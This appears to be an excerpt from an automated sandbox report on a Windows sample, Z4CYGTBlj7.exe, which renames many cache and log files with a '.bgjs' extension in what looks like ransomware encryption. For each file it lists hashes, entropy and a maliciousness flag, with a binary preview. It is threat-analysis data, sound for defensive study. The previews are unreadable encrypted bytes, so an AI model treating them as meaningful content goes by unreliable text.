Preview:	.... ...8..d....4r.......L\|}.g$1.I?P.g.K...[(;.^.T.......yZ.A.a.. .=..G.9.........W7[.?P..g;...V...}.v....l.]......5LOK..C@.%...:..\|C.Jb..U.@..n/7........Sa{&.....'......B0.A6..r....p.-Q....PBL.:KK.....g..Cv.L..C}bT.2.....z.........A..88ru)(..U.c......N...G.}.Fg.x..I..t...v.Tk.rU......}0.C...-.q5z6...E....v....aLW.'q.g......1&v.}.-..D..\s..l'#..a.(}.d6......gS1..rz.....[....Y..zCi/mt..X.....n.......$.1.y..u.c..N....!gu....V.J.`y:ocEN.M.U........B..,.A......<..:..........sZ.TG.Pp.h.j..C....P.TC1..$.A......j...?.....u.zKI..` .s...a...{..{0.v.].\..~.u..!..1.g...#.9.....!L..O+.M.O...eo...N..'.Cc...d.).\|[Ym....... >\..@....D../+!7.+b....y_..L....Ur..`...i6...N$=@.</.._.1..-.>#...M$...js...E.{....._^...$.....%..l......=...L...f.\..[...n.[.C..H.8.c....MW.V....!"~..y$%c+..j4.\..v+.9i=...s.KM.b"...\|....?V........N..O]..xyF.w.o.......0.{f.g......5.].o.n=...c.==....j.]..w.7..\.....W..[....}8Cl.hA.j_.....7....Q..1.Z.x.4...4..9MOAj..._z).n.[..i..v(

C:\Users\user\Local Settings\Microsoft\Windows\Caches\cversions.3.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.99010189692853
Encrypted:	true
SSDEEP:	384:fIG5WGKWZn6zKAOrsVylxy9dfazuRT0ruqZX8Du4vtYrWKfSrLPigV:AGQGHZ6vOmylmK2fqZX81vCZ+
MD5:	D9866420EF907E90A74B8496C902B753
SHA1:	C1B9475E0AB5D46371D883207F7F5480980088F4
SHA-256:	29291D281DDEF609A2F319A821B5008A6A0F3AA1898D42AB2E5F289E3FE7C0D4
SHA-512:	0D0CEA801A37D75A5B7A24F0FA0B1D1093D608C3E371557274040B09D2D64F1F15EDB78276A91AF0DCAAECCE172215782677DEA3FEE0A2D3540DBED7D7B2475D
Malicious:	true
Preview:	....`...{7.l....xti.@.cu0mX.8.w....hRS.G..\|...2...&C.B9..i2.>a....y....x-V.........0B.#.w...6p.t...9_.+....' .]......,..@..pa}...3..9..J4.\....u..:..Z}d..Y.?I.V'.K.5....rxX.RV.....85....KH.Z..?.s'..$p..<...}..d.{.H...'..p..7.$B.....^......2$.....]..NV...m8.......5.\|.+(.Ati~..).H.}5.....[&)./.A..Z..('I......-.4r.'........d];..Dgr..Fx..\>....Sx9..2.X.!...O+..2.....X.-..u.'\|.:t:.......Cj..xy....{%V..U.......$...3.<..~.a.o..k..W.~...%..IZ%3..3................:b....cC_..(o.U...M8......>.)...I.....Y&^L...B.m.......$.0.8......8k..w/....$...>8....L..r.U..2.:/)P1.H=.G.......Fm@9.+./...ME.. c.c.u.Y....@p..\|...Ad-.&.A..0&.."].........'.9...'4.....\|.Z.z.......RB...1D...C"..{.1.}.4.b..f.4...+b..~.,t.j..2.(Hpat.O-...E......3.T..].9..G+0...0.D.w6+.xP......N-B...n.jI..TI.G..VA....eCp.l....a...O..S....z...P_.)...C...%#.....Z.N6......... ..Ui.>.-.F..F......:4}..w.-..dh.Y..7BY.\n.......M4,.*...Nc^..Q.....Rt...t.lM.g..b..)#.A(...aF@[....N....'

C:\Users\user\Local Settings\Microsoft\Windows\Caches\{2135BB99-B905-4D30-88C9-B63C603DA134}.3.ver0x0000000000000001.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	424190
Entropy (8bit):	6.332718764768605
Encrypted:	false
SSDEEP:	6144:lqc8fBMJxwW/65RZt4P9sWE+nm+vyJfbnQkK96B88yKv4bWTmTvEiLSw:lDgmoW/674lsSnm+6dF4/L
MD5:	4D328A5434310263C664BC5C3D08535B
SHA1:	82B7A9B835BDC0ABC58CB841D3602ADECAF2B4D1
SHA-256:	A168BFA4A4AC4D1337A96F674745E0ADAA0021A51E7D5D8A104F8E472A955FD6
SHA-512:	2BF766E677142DDCF1DE7BEECDA774407DE09FC415DB3BC6E4F8947F94B7449BFBE52FD04FEC41D0B968D46A08DF8C9D1617EA7AE3445E348FE9A985203C1BAF
Malicious:	false
Preview:	.w.. U...p,..S.N..%p. .=x..."o.SA....2V.I2F.]U..5.%.....D.#..3..L..2..qT.........OVM.ld[.....5..,....>M...}I..,.P..........48c!....eLh..>.....u>.....O....a...l,.m....3.g...._..Y..G....X.?}T........>..-...jt......q..(b...O..V..xa.[\.....>.S&........dv....14[G.-.#.#.3]..):..R..NT.id....U..f..6/...eM....{11.Wk..D.}..6..Z}Jw.......Z.h5....ZP.D/.)\|J....Dm...D.Ms.\`..0!...g..{.......j...t..>..t..`(....:V..t..X...F.l..RK.@....`O"Bn..hU.e~.{..}:g_...ETH..u...zU.......]<M...)G..U........Qe...X.t.ye..7.C.x..K..=...YfwEr..y.v%I.....9..A.q'"...yM%..Gy..n..8..x.t.8..................gY\|-m../....L}..$.2..[~...z...!...4.gf....B=.....F@............,..^.)\#O..~T.7.gq/.sA......YAP1O#z.w.j&..=b.............n...P.s.3....E.Jn.9..!..\|'.N.U.ME...A.#...2...tWnc..3?+..U9....#X.V...-.._..SV....<BX..0.v..Z._Sxt.}..../bN.*Pz...../....ih.lEb..t~....q....!..aA0Ky{u....n.R.#^..?.Sg]=.6a....p;..Gb1..jl:./h...D...WoRj%Y.(.S.a.:.kJ9.. .t....2.mC.U.B%...QR......y.

C:\Users\user\Local Settings\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x0000000000000012.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	104062
Entropy (8bit):	7.99805926483212
Encrypted:	true
SSDEEP:	3072:gOjp7LUyNWXlbfV5MjwofC4EeQ7uS/nbJ7FvMJ:VV7psnMjwofC4EHZxc
MD5:	A05ADD074EE8B9BD4EAA0F509FF94F26
SHA1:	9861EDBEFC900F2FBBDE4BCAA68F03E2C593B5D1
SHA-256:	C439811DB77D1EC06F73C2618E08C7B9B1EE38E3677E6A2F11889A232508474B
SHA-512:	D568AE143394FE1411601EFBE7B16582FFB2346A21E2F1ACC5C8123C0EA993273AD542F3834810F205AD5844CCD422F8F632B21AE4DBA3375C063B17D9AA677D
Malicious:	true
Preview:	....h...c.>.N.c..h`..T.##.(....m.b o...M...h.c.b.....i.^...>...Th...F....w.8D.+...KJ.......Sk.....Q...s...w.v+.>b.>V. .^.?.._A/....e.pi.Na.4Kc..7.?.....~...L...."G........nw.....'.o..I.X.3d;....<.L.m.hj....b...7.6i.]I...C..].P..{;.c..@.l..p.-.JT~....h0{{m%..".]...h.7.K\.......,.3.g{..^.e.D.TFrx.......=...$...v...SU.....]..._.).n...C....o.....XZ......i#...^G..+.o......D.+...Z.,..Y..&..j...I..Z{J....2......^. .N .T.........\.>W{.EC...Y.."^L+..6..:c.3.+g.f.?.e.....cxV4....\..:..Qx.....7.....k.;a..j..2....Y...pf.K.ys."r.0.$.W....M..L/...&.....>.....!..I....q.....K$....8x..N..Y..!.qt...}6\|....ll....y.b.~H....]..j2.1.#..(~..?.YU.x.\.v.b.\|.PaQ.k.u.....F8...L........a.R.s..8g...L..~k8..{zF"'` ..b.hK...d7+I."...;.h.@........r.J.....f..J.N.......V...._iA.w0h.......N.Mew.~....l.0.....Nm.a...R.s.9U_.U...c.,..rL....ou..',8#.;.u@...8...Pb\|.W&....3v..?.(z..AGi..EQ.*}...s.!....E.L.'/...t..3V...0.9.2w..`....f.........V..uBM%...j-O..".<....&..

C:\Users\user\Local Settings\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x0000000000000013.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	102814
Entropy (8bit):	7.998217019009836
Encrypted:	true
SSDEEP:	1536:LOlcqgXSm0kig3sBbPAahfKi3QTyFq6fkMwJFVEAXvel6d1ZbSyZALEb1uWsY:KZeSm00GPAahzGyFbfmf9POLKuY
MD5:	AAADD565B4DEAC65E3A0DB8260430490
SHA1:	067AD7FA026A5213DE6A08E2B7A0D13024C77B48
SHA-256:	1E154C4C793BA536D5CB19C9F429FEA0990B4905A68CE10713AEBFADE639D977
SHA-512:	F6CB99C0D2C0C684AFCD1141430B63886E9CCD8D5C06031D3760D2A5AEA751767379B1A898C008AA82C75CD9027E52BF50AD239A2367F311C27ECDD6EDA3ABEB
Malicious:	true
Preview:	....hb......u.@.%.7.u_.........<....4\|.<T1.....Q.\...eQc..I....+...s....{....".....Qd...eg.x.cq.G.q......;d.q..'USf....q".,..]<..e.......MWb<o.2FO....."d....R...[Q.YY....n..A....A...A.X.MC.. ...:..,..A..j.1.wu....X.8B.4..>+3....[....@{....WG!6\....Rw..c..<..I..U..aA.>m.B.j...\..A.t.-koQ..&r....%..7(...-U...'.j#.</...^^..~(...S-.o.`W....9Da..y.(.4..j;.WX..N..5u%....-.S......fa..6"M.....OJ.Z......E.g?.....c>{..@....=.X}x.........{#.l......^.:-.X........y.'L...z.sH.4f...'^.P..e`dw.........'^..V&...........u...H..X4[.a&..j...5..........fX.....*.\|..{..E}:.AtFn(.qp..-..r....g....F..L...+...[Fu.\p.M..?wK.%....y.W...@#R..m.=)....;..y<1....[1^.8..c+..p.F..8]......g9..p...4.M......uk.Kt....>....2k.D..>...k?.. m.].x.#.o.........\|.0...?....p..i..{W...2.Z.!.>~..........i.U.8.xQ..u...z..Y.G.+......(...L..7.< ...b.;....4._k......A..UAI....."..k..........\|[...fk..%p0N.h....W.yn.....+T@a$.......D..~W5..'.>.+3.d.......\|.X5..7...]..[.p.........#.D..

C:\Users\user\Local Settings\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000004.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	75398
Entropy (8bit):	7.997147748989084
Encrypted:	true
SSDEEP:	1536:DpM5+54PMC7jreoRfoSeProFDYWIgxSKo8u0YFC2WRStflE:DpM5+9C7jreoRfo/segxSKodwgG
MD5:	3AC45E593ED24640DBC0AA90F2101F81
SHA1:	81C3E6C3B11DC66FAF6F8A72DF56DCDB699F70B5
SHA-256:	03217C19D54A5EC45CAD487424A137543877345ECF264CFEAF172FC295B87648
SHA-512:	310072C734F7BC7F8BA27419806D34A385B85035A2F2AB8C8E4D2FADF89036B1998489BCA3A9E2093C7E240C69E6997508C6B28B0A6352B50D9ADF91FC2F3C61
Malicious:	true
Preview:	.......A._3..p..8...Ul>..hGz.XIr....y.........T..P#.M.......k5.t..Z....k4_.=[.d..2.Lw.#.@5.....I....Y.Lp:...R.ke9.XWn..C.W...._...RZ3.b..6.j.m.y..r5.apO..`I...<....wC....+...;Zz.....N.}.f..c..l1]..@..!.cb..f,UF..f.k.g..7..bR...S.h+-.9..~...@...G.6.;....l.Z.M.Mz...5.e.9'O.r.S.?..._,.......`....r.[b..\|^....D..J@..F._l.....^-..m.r.pFW...M....c.....=T....Jm.0.~.}.>P...........n.~"..u....1.!...f......sw.K.N.Hk.#.d.v.+y........\.Vp...%.1.H,...tqB>...^.d.....?q..3..&/-......6I...c....`.1~...q..Jc_......xR...D..u,../......B.Q=...i..2zh..F.R......>.RW}.w.84OZ.=..US..H U.G...x{5.2..C.f."..j, ).<...Y.I.FKo..V.HfD...?..L.......C.v..#.@<...QpcA....y5...R.>.E0.YkX...U.!........f.k~m%..5>....\|.g.f.o4...3$uq\|.A....6H6..H.'..A..,LV...M.....n.TJ`.9..}$.u.&..u.....5...C.k... 8..a&..%.)7.:A....=..5p.-.....G.....T.1.;%....>...N...%[X...Z<..O&N..."....T.....%..yQ .G.j.*..EV.dzS..A.ZA....o..XM.p....;. .-H...N...-..<.VYaL....?.....k.ua...RD}:..pi

C:\Users\user\Local Settings\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000005.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	105318
Entropy (8bit):	7.998285131025154
Encrypted:	true
SSDEEP:	3072:Ip1/YW4P+KAJ9+N0J3fq0B3urofcIBef12fr:Q1QZPSAOSK+rokIBefMr
MD5:	3F1432E23CF1BC02155406A7E09631CE
SHA1:	E9884D6C86F861558DEACCEDDCB769E801D79505
SHA-256:	A086900815C79AB060C2B16D6006262607BC53F079071F29C3B5BAD94BF999A7
SHA-512:	B9D461E4972310B299BAE584323F5F635E38821D9B190C4B0C2A31F8E21432BA25FA5A098E1DD0A6C7B5965B485D97509FB71124DC846C1C98C8E24FDA358A1E
Malicious:	true
Preview:	.... ..Cx...L....{.&e..le.!.maff.Z.>k.:...w._.^y9.2<....$....&..U..IC..\}..O.tF.Km.......".....<b.r.lU........Q..wh.....{p/..G.5...^.kJ.$....5....y.~..w.unAKEU..k....G.vY......G.1L..c.q......&[U.Gl..k;.Mv._..".YdA.../..s.A.r8...7.).I...?Q......2...O.......p.#.....I.....fd..{.\Uz...J..m.(W<..(C......Zu..(......8...;..3..N.../V\|A.W.5.E'.u.._G.c..D:... ....+_........G..K...=....R8.{z.......)...S8...`.P.uB........Dr..Cw..fZK4.^k.+!....;......k.N.$.<..?.d.5q...>..K...@...H....g`8P. ..}.....l.u........ZvGac.....A:.'T..`G<.RA(.N..-..&_.CJ.kxa.)x....c.M.Ah....D.c>............vuQ..Kh_.....&N.).X.......?m;..AFa...C......?.........o..(1.....M...T..8..N2.G.....d....}...S..l.\|......PP..W...Y/.Jr.f.$.....$r....M.....$...PU......t>..=.Z^..m...IP...N c.I<W..e5..(.w...[A'.Z.......hn.RG5bIY~.4..=.5./.u^.1K...':..(H.C..tR;.H........K.)....Ua....X...Q.<.q.b....L.A.ovkK+..^o._9....Y...K..._.x_mod\..E..n;.K.R)u=U...\|.t.v.sY.......w*=..B.7@.rDRHgj...Mt^._.....[

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\ExplorerStartupLog.etl.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	581966
Entropy (8bit):	5.738793540507407
Encrypted:	false
SSDEEP:	6144:y6T6vUK9eOwjVElVzYXXGpH90FiNa1mYSOb9S:y66vZ9pZzYXa+FiNGmpP
MD5:	D5C2431918B7AFC64BDF82EB2A3909E5
SHA1:	F9700B2FAED687A87B628872B73378358EC6E0AB
SHA-256:	7A2E86E20595A9CD633E4F91062827BECD0824A604A12C3994CFDC3C3055FAA4
SHA-512:	0195A68DB886DD80BDF0BA8E5EDC8CC0F46B018F7B2CD394B5918DFABB48B32A8D279FDF5559A14EBF993DBF111CA20C0D5C5D7F4709F90D102AF674144CD143
Malicious:	false
Preview:	. .....d..6.x._...%.....}v.9...y...2.M.....^H....\@A............a.dM....q...:&@x...........X..E..i........x....:..[chR.......e.S.Q.O.;.G.x..0.Wk../......{F]..+....R.@8X.g...c.}.w.A.[~K".Il....db.R9..86.w..!..-.........V.X.{.g.y).N.#.M.X....o..y`.e.].T%...y5..Al......P....W...SC.q.2......7..z.SF.3.S.v..r.0...dx.M...i......n."...+M.%.j..j......QH7T..Fw.5oDB....N.S.>.u...6~E.'.eC,r....I...X+...6...kJ...\|2.4...!n..XU._.E.y...<]t<u.R4....'...Y.^-.O.2..zn....C....#...+...]..H;.?Lm..L....\|n...cX......D^+...?.Z6:..$.9.gj8.Q..{.+..W.G..J/..5..DR.E..Y..V`t.L...pv<....4dG..V..:}.`p\| .!N.4..L.gI....2p..a</P[.*?.&q...9...R........#...................5..j..B..y..1.^.....8 .nPi..k...v.......&....5...-h,..r.T<{..gO5(...7J...vu.y...nu..R.5....#.._,...Q...'H.Bl.L.&,..h".d.i.Q.....o..Jh{CA;.jR...4.K..)@.6.r4.#....N~..;v....l.u.y....F0.P.v..7/.\.......Z...<.._d5]...D.e..y.ey...T+3..zHZH.'.!.2..1..J..D.+...P.w....~0^k..q...i...y...../...u....K,..R.J.G..

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\ExplorerStartupLog_RunOnce.etl.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.992784581764075
Encrypted:	true
SSDEEP:	768:ssT3vUT7bj44F6M1vUREAH7QjnCffT50IS:ZTcrMOtvAbanml9S
MD5:	8B76C3AA9948A29C45BBFAAD4CCB788D
SHA1:	4548595EB5584B45BD3E974E96549FCC02397418
SHA-256:	BAD62362735D0DE8AFF07B6D805446DACE6CCB0CB5846AE524FE393F55E1FC9C
SHA-512:	D26FE9DC20BCEB4373AA82E1EBCEE7124139528C2FB30043AAFAF5E839E54D964ECE4AB1D82C0CFED142B5E4351E2ECCDC3BF063A14241AF84C5C885E8F33926
Malicious:	true
Preview:	. ........DpC~..+Q9....a.....nh.#8.(.,.9g..P...=r.G...r.!i.....c..Np.[.....T...U...:..@....C"x...m.y<..ae..i}.A..%..I.+#O.'..g........M[]X..z.'J.\|.....~."...J...v.Jg..E.~f.../-n.\L,...c3.a.cM+...........^X..6$km..%.(.....W.Q;.V.L../Qp.u...c........;....9....z^m......O..K...m.,G.\|f9..ww4.7.4.@.......~d.R.=.......F........G...........Y.U..1p/....PK.G.x...O.....W.SI=.yJ....A.m.lPt.<.c5..g....%.Q..<.c0...L<.}.d6.'4,Bo..*cL.=5..s.<.j~8z.K;u.!..../\..~.n..o..=....{>=..Q6.X..Y;zv%f..._..,K7.@....:..;7.v.$..b..>._R).......i7....e\|.u...#A..-.P:YC..G.i.....V..=..w.."N.Ll..g01....a .]..,.U..\|..+...-...F.:....Q...."J.#.....^E....lT..H......N._.....0.`..l.x...Q%c..3h.....C.:.Jot..$U\|.L..4.YH9T..A#z.,9...#.z9..Ss+.,.x.%...^._=a...ig..m.....F...z...5.N"...ui\...'4]'....?.>...h)...N.OP...S.W0G 2...b.a..u3.5O-"......z..pYpc!...A .tc)..(...7`.\D.C.8J!..`{..?.Q..9.lp.+LP...:.NI....../FH..eB.#....H~....'..8w/Q....P.3.4O\..E ....!Cm..aD.z.t

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_1280.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.265250284467097
Encrypted:	false
SSDEEP:	6:ki8XkuDf5xGC4NyQgjQTyaFu5/hFpjkOw8psDEmjKQW3cii96Z:kXXkxC4gQmQ5+h48pEjKQscii9a
MD5:	1180F613C4D910695C36A7EB69A14085
SHA1:	18890E834A4FB912FDE87DD95B9C552358CAC0C6
SHA-256:	EADE73980AA229550704798895D3907B1BA3A810BF86B8CB435FF4B16736782E
SHA-512:	DD36C1FB60BC51AF99BBA8224B23395F77F17EED8BAC15605E9B3C2B6108E901BB064B26318FC29AC4F748CA11E0B37CD06C40F7DC1C057EFA3FF3C6D268B5ED
Malicious:	false
Preview:	CMMM x..&`.w.. .s.B......7hU.....C>......Q.0...f\..:..q.-.A.q..a<.#..!Y..nns......*.4:/.(.7!...?.).F....b..k.b8]......\|........\...'f..]K..I...}.[9^w...8.W..;...`o.o........j..T.....=3m..;%..........h..(..M../.T0..8....;6...6.5e.z..M.IhO@5O...z..q<..#...Q........2d...8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_1920.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.273269182241613
Encrypted:	false
SSDEEP:	6:V5u++pbwfRUFXW+FOcUBWM7g1Bh1cRJPvDS4GiRuQW3cii96Z:jCsUJ301BWM7g2vuQscii9a
MD5:	4DEC49EACB81386E4307A2B134A3EAA3
SHA1:	271907EB89E5D3F5962AC66E68A886D84EE664EA
SHA-256:	C9C1F48434A364EAF9280E663803A5C44D75E377F8AC8996F11A125C856607D8
SHA-512:	A96B8CCE382FF43B4E5EDC9759F3F4025DADC631290CA837B45C77F12C476EE9A2147E4123C354EE390DAB670E5D955551098266E67A747844B0421A041C7256
Malicious:	false
Preview:	CMMM .^U..(~c...+..'.!eU.s."+......".$..^.j.B......2.!..l. ..*..QK.G......Q..J^.4..l...!/cL.#+..]Y(.~...q.b.C...Q.3a.z.1. ..m.!k...p...$3.....J.^.y..Z.q.:.?6Pw..$..\........n.T,.]Y.L"#..>.y..9.."dml..2+...$.p.#..-....\.Ozm.p.6mM.`.w..cy...%....[<...}.0Z.@K@..[......8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_2560.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.299626000909714
Encrypted:	false
SSDEEP:	6:mVDfPGUyAOUKmWl6eJOMPOCw9tgTlpVBW6nH3aXDYhLTMgfwh7pKwUuQW3cii96Z:m5fyAO1l6mOMWFeDzW6nH3aXsh3Mg4hp
MD5:	8FB2691A547BEF724959628660AFFC8B
SHA1:	3DB9475AD004ED35D86F31A5D6196D17C76528C2
SHA-256:	FD0051101958C5797F93FDD63B2C87F7BC0BC1BAE23ECF8C2178EB6DA800FDE4
SHA-512:	F0C0546E110E38F983A8F5B9B74B61A710542503A5864B2FD87CFEF51F0103FAB1BB61C2DFC8277E607F1D12484110E9C2F764009092EF7FA7CFCE165E98E5AB
Malicious:	false
Preview:	CMMM 4...v.t2.R#H~..a.$.^..n..7S..h:.@...J..U=...e.r.}..E.H.3?...v.....P..:.f.6..........C.&.c;..#..i.P.....(w...1M.Y..9.....NA....ZR..#V..(Ok.....HL..m}....#3...*Me=.....L..T...._......u...a.".....S.....\.&k(.P......2[I..Q.....C..A..d....o.Z.....C...9L...&8..}P..4.8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_768.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.314394496878923
Encrypted:	false
SSDEEP:	6:9r3aUaez3CCErPp+iiF8DKu2+BMt7BguPWvZcnU3VsaQQW3cii96Z:5qLY3ClIiisKu2+aGu+vZcnUlrQQsciD
MD5:	BF1D1B41585465F31264CD92931ED5DB
SHA1:	9601C9288D79C940B5A5032EDDD78ED4A73637B5
SHA-256:	F993A791E1AC45EE38924F915E02C1D01E46984EAF34B95AE37A70EEB316993F
SHA-512:	3E02AC8EA178855B71454AC662661F8D549A66A3AA4000C25D3AA1F6D26F32CD6544CE7247120DF4D88F858253B9CE60464A4F00151B80D7A44F2C62A985E78B
Malicious:	false
Preview:	CMMM :..}.92....m..*.lR..%a...{w.?... ..PV.9%.t3........t..)..g.d....ot...?;.F......v..M....[d.?.E.y...>...Lw........^..;..Y..y9mAl.o..rjU..ucJB....;H.\|ETO..S.CL.E\|V........i.....SO...ll.W.....&.....?..a7.7U2.....s."..Gq.I,..-.b3?........?'.(..}...V.8....[B..%E.z8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_96.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.292075094752627
Encrypted:	false
SSDEEP:	6:6wk29CINuI3KHKOuc00Iy0uvC5skBJtidCEq0vfzZKrmCQW3cii96Z:6wF9CLIoKVG21akbtWlq0HzZK1Qsciik
MD5:	F217D667E118DCE596BF24C6E18CE7B9
SHA1:	B2E7E8ED4DEEF2122C497A62F42F2E86B0E828E6
SHA-256:	4BB695B847E27AA348B25231BDCC77AF4362E45D26A3698A55215BC5F1EF85B6
SHA-512:	6D70D27DC4FE268912F87D01840FA2BB1B04F1ED3475D147AD44DE33C35415B7771D260CDEDD08698BEC997CB251F96A8D1A6E1A0206FB7F88702330790F589C
Malicious:	false
Preview:	CMMM y1.e...=..7...b.....az.0G...-=)...Ax......R.W &......L\|l..fK....v."..5...s.tu7.....D.....+.JR...3.P..JmIH../........._..t?.^~...<b..San...`pXC..m,g..Q....@.S8.....Q....IDG.,...[.1]n...S.h.6..Zx.-71...2....AAe....tqV.@a~.e......lH~.e.Kj.!...z.../S.{hD.T...%..,.8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_custom_stream.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.29004872178156
Encrypted:	false
SSDEEP:	6:p0Qw/uzAe84JIyv3QxG0HhSxnobC+xDLobgaKB//HRUDoz7mVvhz6/OlrYJ7dKQ+:vMsIyv3kRBhC+xDLobg1V/0oXmVv7r2c
MD5:	66FD12DE14CACC7BE15C628B180F3AC6
SHA1:	27E864F9276B06C4C7D6A3F079C339A2F1AEEC9E
SHA-256:	E786F029D36D314E16E4294410488C6C00849DCB19A6EE611CA4AC4AE137A013
SHA-512:	EA1A5961B35B3ED8EAE8108DCFAB09235DF638188173053F3E93560E32B6AE8573FA5BF8EC45DCF91C0E190DC102CB1DE3929F6CCDC258241816F4D0805BA4C4
Malicious:	false
Preview:	CMMM .Vx.Y<&W.g5X.W.r!.6.:8/.a..L...5..../..Y..(q..a..J=G;%..oZ....+.NzT..Tc.......N4..S...0..,.R.!....m.d...........3..2i.y..Z..Z.0.f....\...^...E.,..&-.%....B.h...x.[kB....4a..K....5w.....F...%..-.A...^8^.A^....c....<.b...R.SQ5g.......:....r...]@.1...\EJmK$9...G3.8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_exif.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.294338125561699
Encrypted:	false
SSDEEP:	6:JdxOJLStDxFEj7X0fXa3ehZ9ytsg0hu9SHQM5bfSGWeYTuQW3cii96Z:ZOhSrKkfaOfotBCPhfqeYqQscii9a
MD5:	D4D21B399A79B6C6400B12186166F1EE
SHA1:	7423EDD193D7C110A3B2E2DBEFF4A37409D6BA9A
SHA-256:	D16DBB1A671A34611C270961DBEA3E2D6B6DE93847D69A3197AE1AD10A0EAFF9
SHA-512:	B9863812F7296F1C0574A529672C6DB313F496B14A7B31F753C35D4AA16C98881E0A34F661ADE5D64CBA03C08D117C01ABD73F9865358D5A2D0FF957CE06F5E8
Malicious:	false
Preview:	CMMM .?..Np/..q=.?..%.E....%.......]..:.WbC\|.%Z.....fi..H<=.<)....8..B.....^....VZ..q@<....xq.}....&...;1...Oe.R..."..Z')....j..D.....,...}....)..\|BC.s\|.0..'SK.G1...........................E.=....L;.b...Y./#....J?}....O.-.. ...<k..w..}>#....S.R)..}e_G.=@..F.8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_sr.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.3322639650400685
Encrypted:	false
SSDEEP:	6:/wjCFL50K/1LQOww38cOQLQwkzuUskGZ3Hmh81b+J9e+kUjpNuQW3cii96Z:/j50w1LQU8q+SdPhmhO+J9e+ZNNuQscq
MD5:	A3EDBB044B6328DD983983A32AD37A9E
SHA1:	623DC7DDBA6A0B5237D976015656B6050CF9CE2D
SHA-256:	581F35D0A92AAA73816D334807A608DE1AB2B3EEB9345570BEBC81AA6FF4C746
SHA-512:	FBFFDB43C415166CA6E4C0FB6B2F6384090B27C4245D580B0F6FAAC7A611D7C66F35EF5886E65DB72727AF85047A8B7B7D4E59AF720093CB5EB1B6F82164D720
Malicious:	false
Preview:	CMMM .....~c....}......Z5.v....)..u...My..F....W.8...e.q9.h..k...~$..!.U....,.......T......!..h.I..1w.......tS.\|..*i..7......R...."..V./.'._...Q.....xQ..9F<.6......y~.1..........(....i.....o. ......v......Ji...XK....:.[R.N.=.1v.]. U...\..Y~s..).-..#3......\m......h8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_wide.db.bgjs (copy)

Download File

